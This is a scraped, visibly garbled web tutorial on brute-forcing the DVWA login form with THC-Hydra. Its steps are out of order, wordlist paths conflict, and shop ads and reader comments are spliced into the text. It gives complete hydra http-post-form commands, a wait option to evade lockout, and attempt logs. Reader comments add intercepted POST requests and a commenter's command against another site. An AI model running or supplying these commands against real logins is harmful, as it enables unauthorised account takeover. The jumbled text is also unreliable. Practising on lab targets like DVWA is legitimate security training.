In our case, it is "username," but on some forms it might be something different, such as "login."Now, let's put together a command that will crack this web form login. In this case, I will be using the lower case "l " as I will only be trying to crack the "admin" password.After the address of the login form ( /dvwa/login.php), the next field is the name of the field that takes the username. First, you use the upper case "L" if you are using a username list and a lower case "l" if you are trying to crack one username that you supply there. The syntax looks like this:So, based on the information we have gathered from Burp Suite, our command should look something like this:192.168.1.101 http-post-form "/dvwa/login.php:username=^USER^&password=^PASS^&Login=Login:Login failed"A few things to note.In this case, I will be using a built-in wordlist with less than 1,000 words at:/usr/share/dirb/wordlists/short.txt Step 7: Build the CommandNow, let's build our command with all of these elements, as seen below.Kali > hydra -l admin -P /usr/share/dirb/wordlists/small.txt 192.168.1.101 http-post-form "/dvwa/login.php:username=^USER^&password=^PASS^&Login=Login:Login failed" -VAlthough THC-Hydra is an effective and excellent tool for online password cracking, when using it in web forms, it takes a bit of practice. To see them all, simply type:In addition, there are numerous online sites with wordlists that can be up to 100 GB! Choose wisely, my hacker novitiates. You can use a custom one made with Crunch of CeWL, but Kali has numerous wordlists built right in. As with any dictionary attack, the wordlist is key.
97% off The Ultimate 2021 White Hat Hacker Certification Bundle You can use this functionality with the -w switch, so we revise our command to wait 10 seconds between attempts by writing it:Kali > hydra -l admin -P /usr/share/dirb/wordlists/small.txt 192.168.1.101 http-post-form "/dvwa/login.php:username=^USER^&password=^PASS^&Login=Login:Login failed" -w 10 -VI recommend that you practice the use of THC-Hydra on forms where you know the username and password before using it out "in the wild."Keep coming back, my hacker novitiates, as we continue to expand your repertoire of hacker techniques and arts!Want to start making money as a white hat hacker? Jump-start your hacking career with our 2020 Premium Ethical Hacking Certification Training Bundle from the new Null Byte Shop and get over 60 hours of training from cybersecurity professionals. This will add a wait between attempts so as not to trigger the lockout. In this case, you will want to use the wait function in THC-Hydra. To use the successful message, we would replace the failed login message with "S=successful message" such as this:Kali > hydra -l admin -P /usr/share/dirb/wordlists/small.txt 192.168.1.101 http-post-form "/dvwa/login.php:username=^USER^&password=^PASS^&S=success message" -VAlso, some web servers will notice many rapid failed attempts at logging in and lock you out. In the example above, we identified the failed login message, but we could have identified the successful message and used that instead. Access Denied For User 'Phpuser'@'Localhost' (Using : Yes). How To Find OutSome help would be appreciated. However i dont manage to succeed. This seems pretty straight forward that it posts a message in plain text:POST /testsite/administrator/index.php HTTP/1.1User-Agent: Mozilla/5.0 (X11 Linux i686 rv:31.0) Gecko/20100101 Firefox/31.0 Iceweasel/31.4.0Accept: text/html,application/xhtml+xml,application/xml q=0.9, / q=0.8Cookie: PHPSESSID=59ivhamr6svumtpp18442evuk3 af5dc374e4af2e4345969e6b50136729=ucp00rfi9vpr11r436dr3idn36Content-Type: application/x-attacking service http-post-form on port 80ATTEMPT target mysite - login "test" - pass "0" - 1 of 957 child 0ATTEMPT target mysite - login "test" - pass "00" - 2 of 957 child 1ATTEMPT target mysite - login "test" - pass "01" - 3 of 957 child 2ATTEMPT target mysite - login "test" - pass "02" - 4 of 957 child 3ATTEMPT target mysite - login "test" - pass "03" - 5 of 957 child 4ATTEMPT target mysite - login "test" - pass "1" - 6 of 957 child 5ATTEMPT target mysite - login "test" - pass "10" - 7 of 957 child 6ATTEMPT target mysite - login "test" - pass "100" - 8 of 957 child 7ATTEMPT target mysite - login "test" - pass "1000" - 9 of 957 child 8ATTEMPT target mysite - login "test" - pass "123" - 10 of 957 child 9ATTEMPT target mysite - login "test" - pass "2" - 11 of 957 child 10ATTEMPT target mysite - login "test" - pass "20" - 12 of 957 child 11ATTEMPT target mysite - login "test" - pass "200" - 13 of 957 child 12ATTEMPT target mysite - login "test" - pass "2000" - 14 of 957 child 13ATTEMPT target mysite - login "test" - pass "2001" - 15 of 957 child 14ATTEMPT target mysite - login "test" - pass "2002" - 16 of 957 child 151 of 1 target successfully completed, 16 valid passwords foundHydra -l test -P /usr/share/dirb/wordlists/small.txt mysite http-post-form "/index.php:user login=^USER^&passlogin=^PASS^&log=Login:Please enter valid Username and Password." -VThanks for the useful guide. I'm not entirely sure how to find out in which way it "communicates" the failed attempt. 62% off MindMaster Mind Mapping Software: Perpetual LicenseHere's more information from the Burp's two interceptions during login. 98% off The 2021 Premium Learn To Code Certification Bundle Emulator games best macThis is the fail message of the site.Hydra -l yyyyy -P cygwin64/john.txt 123.456.789.000 https-post-form "/login.php:req username=^USER^&reqpassword=^PASS^&login=Login:Wrong username and/or password. Does it matter from WHERE i start the hydra command, i mean should i do it while being in the hydra dir, or should it be the cygwin dir or just the root dir C ?User-Agent: Mozilla/5.0 (Windows NT 6.1 WOW64 rv:47.0) Gecko/20100101 Firefox/47.0Cookie: visid incap526178=dBiizl5bQzKldS2WdMrM/ArT6VYAAAAAQUIPAAAAAAB6g3H+O0+VIC6UaHfrwDzi Visid incap821436=nmDb/MkQTXm2VsdHkiWxuzYCN1cAAAAAQUIPAAAAAADrVUYTxunztOfbWaA78Xgm _ga=GA69812.1465591208Form sent=1&redirecturl=index.php&req username=blop&reqpassword=blop&login=LoginWrong username and/or password. Hydra tells me after 'enter' the syntax rules but does not start the job.Also : i use Hydra with Cygwin on Windows 7.
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